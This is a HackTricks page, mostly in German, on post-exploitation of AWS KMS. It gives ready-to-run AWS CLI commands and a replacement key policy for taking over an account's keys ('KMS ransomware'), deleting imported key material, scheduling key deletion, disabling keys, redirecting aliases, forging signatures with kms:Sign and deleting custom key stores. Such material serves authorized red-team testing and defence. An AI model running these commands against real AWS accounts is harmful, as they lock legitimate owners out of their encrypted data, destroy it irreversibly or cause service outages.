AWS - KMS Post Exploitation

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

KMS

For more information check:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: liest die Datei im Binärmodus; üblicherweise verwendet für Nicht-Text-Dateien.
  • file://: liest die Datei im Textmodus; typischerweise verwendet für Textdateien, Skripte oder JSON, die keine spezielle Encoding-Anforderungen haben.

Tip

Beachte, dass wenn du Daten innerhalb einer Datei decrypten möchtest, die Datei die Binärdaten enthalten muss, nicht base64-kodierte Daten. (fileb://)

  • Verwendung eines symmetrischen Schlüssels
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Verwendung eines asymmetrischen Schlüssels:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS policy von keys modifizieren und seinem Konto Zugriff darauf gewähren, wobei der Zugriff des legitimen Kontos entfernt wird.

Dann können die Benutzer des legitimen Kontos keine Informationen von Diensten abrufen, die mit diesen keys verschlüsselt wurden, wodurch eine einfache, aber effektive Ransomware gegen das Konto entsteht.

Warning

Beachte, dass AWS managed keys aren’t affected von diesem Angriff, betroffen sind nur Customer managed keys.

Beachte außerdem, dass der Parameter --bypass-policy-lockout-safety-check verwendet werden muss (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Beachte, dass wenn du diese Policy änderst und nur einem externen Account Zugriff gewährst, und dann von diesem externen Account versuchst, eine neue Policy zu setzen, um give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware

Es gibt einen anderen Weg, ein globales KMS Ransomware durchzuführen, der die folgenden Schritte beinhaltet:

  • Erstelle einen neuen key with a key material, der vom Angreifer importiert wurde
  • Re-encrypt older data des Opfers, das mit der vorherigen Version verschlüsselt wurde, mit der neuen
  • Delete the KMS key
  • Nun kann nur noch der Angreifer, der das originale key material besitzt, die verschlüsselten Daten entschlüsseln

Schlüssel löschen via kms:DeleteImportedKeyMaterial

Mit der Berechtigung kms:DeleteImportedKeyMaterial kann ein Akteur das importierte key material aus CMKs mit Origin=EXTERNAL (CMKs, die ihr key material importiert haben) löschen und sie dadurch unfähig machen, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, es sei denn kompatibles Material wird erneut importiert, wodurch ein Angreifer effektiv einen ransomware-like data loss verursachen kann, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.

aws kms delete-imported-key-material --key-id <Key_ID>

Schlüssel zerstören

Durch das Zerstören von Schlüsseln kann ein DoS verursacht werden.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Beachte, dass AWS jetzt verhindert, dass die zuvor beschriebenen Aktionen aus einem Cross-Account ausgeführt werden:

Change or delete Alias

Dieser Angriff löscht oder leitet AWS KMS Aliases um, bricht die Key-Auflösung und verursacht unmittelbare Ausfälle in allen Services, die auf diese Aliases angewiesen sind, was zu einem denial-of-service führen kann. Mit Berechtigungen wie kms:DeleteAlias oder kms:UpdateAlias kann ein Angreifer Aliases entfernen oder umleiten und kryptografische Operationen stören (z. B. encrypt, describe). Jeder Service, der den Alias statt der key ID referenziert, kann ausfallen, bis der Alias wiederhergestellt oder korrekt neu zugeordnet ist.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancel Key Deletion

Mit Berechtigungen wie kms:CancelKeyDeletion und kms:EnableKey kann ein Angreifer eine geplante Löschung eines AWS KMS customer master key abbrechen und ihn später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (anfangs im Disabled state) und seine Fähigkeit, zuvor geschützte Daten zu entschlüsseln, wieder aktiviert, was exfiltration ermöglicht.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Disable Key

Mit der Berechtigung kms:DisableKey kann ein Angreifer einen AWS KMS customer master key deaktivieren, sodass er nicht mehr für Verschlüsselung oder Entschlüsselung verwendet werden kann. Dadurch wird der Zugriff für alle Dienste, die von diesem CMK abhängen, unterbrochen und es kann zu sofortigen Störungen oder einem denial-of-service kommen, bis der Schlüssel wieder aktiviert wird.

aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

Mit der Berechtigung kms:DeriveSharedSecret kann ein Akteur einen in KMS gehaltenen privaten Schlüssel zusammen mit einem vom Benutzer bereitgestellten öffentlichen Schlüssel verwenden, um ein ECDH shared secret zu berechnen.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Mit der Berechtigung kms:Sign kann ein Angreifer einen in KMS gespeicherten CMK verwenden, um Daten kryptografisch zu signieren, ohne den privaten Schlüssel offenzulegen, wodurch gültige Signaturen erzeugt werden können, die Impersonation ermöglichen oder böswillige Aktionen autorisieren.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS mit Custom Key Stores

Mit Rechten wie kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore oder kms:UpdateCustomKeyStore kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen, wodurch dessen Master-Schlüssel unbrauchbar werden. Dadurch werden Verschlüsselungs-, Entschlüsselungs- und Signieroperationen für alle Dienste, die auf diese Schlüssel angewiesen sind, unterbrochen und es kann zu einer sofortigen denial-of-service kommen. Daher ist es entscheidend, diese Berechtigungen einzuschränken und zu überwachen.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks